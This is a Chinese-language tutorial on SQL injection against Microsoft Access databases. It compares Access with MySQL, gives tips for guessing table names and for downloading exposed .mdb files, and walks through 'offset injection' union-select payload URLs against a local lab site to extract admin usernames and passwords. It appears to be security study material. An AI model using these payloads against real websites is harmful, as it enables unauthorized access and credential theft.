ACCESS数据库
比较Mysql结构及功能
结构
我们通过之前的学习知道了Mysql数据库的格式如下MySql数据库->数据库->表名->列名->数据
而ACCESS数据库的格式如下:ACCESS数据库->表名->列名->数据
我们通过一下案例来介绍一下:
在一个服务器中有ABCD四个站点,其中ABC三个站点使用MySql数据库,这种情况下三个站点的数据库将全部存在于Mysql数据库中,而D使用ACCESS数据库,它会单独存在,由于结构上的问题,跨库注入在access中一般不会利用到,而在Mysql中是可以利用跨库注入的。
格式案例:mysql数据库的存储格式myi,myd,frm,其中三个格式对应一个数据库。
在数据库的MySql根目录下的data目录中存放的是我们数据库
ACCESS数据库格式:mdb或asp asa等存储在网站目录下。
首先我们知道mdb文件是可以下载的,如果我们知道其存放的目录是在哪里,我们可以通过浏览器将文件下载,直接拿到数据库信息。
功能
mysql支持文件操作功能,注入的时候也可以操作文件
access除了sql查询之外,没有高级功能
mysql注入的时候经常会用到information_schema查询数据库下的表名以及列名信息,access是没有这种类似数据库的,也就是access获取表名以及列名信息数据暴力猜解。
其他
access数据库会存在表明或者列名猜解不到的情况
access偏移注入可以用来解决列名获取不到的情况,有部分几率会直接得到数据。
表明:关注url地址,后台地址表单等信息进行猜解
例如:www.xxx.com/pe_new.asp或pe_admin,这种情况下表名可能是pe_admin
后台地址表单的值为admin_user表明可能为admin_admin,这仅仅是通过测试得到的经验,不一定是正确的。
偏移注入测试
首先我们测试有多少列,在我们输入order by 22
的时候是正确显示内容的
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2022
输入order by 23
报错,从这里我们知道之前有22列
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2023
之后的测试:
判断回显数据的位置,这里是3和15,其中admin是表名
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin
当我们用*来测试的时候,16的位置为正确,说明*号等于(22-16),等于6
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin
然后我们继续测试,这个时候,我们需要用剩余的16-6得到10,然后用如下命令来测试,这个时候就会爆出账户
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,a.id,b.id,*%20from%20(admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id%20=%20b.id)
接下来我们继续将数据减去6个,我们使用如下来拿到密码
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,a.id,b.id,*%20from%20(admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id%20=%20b.id)inner%20join%20admin%20as%20c%20on%20a.id%20=%20c.id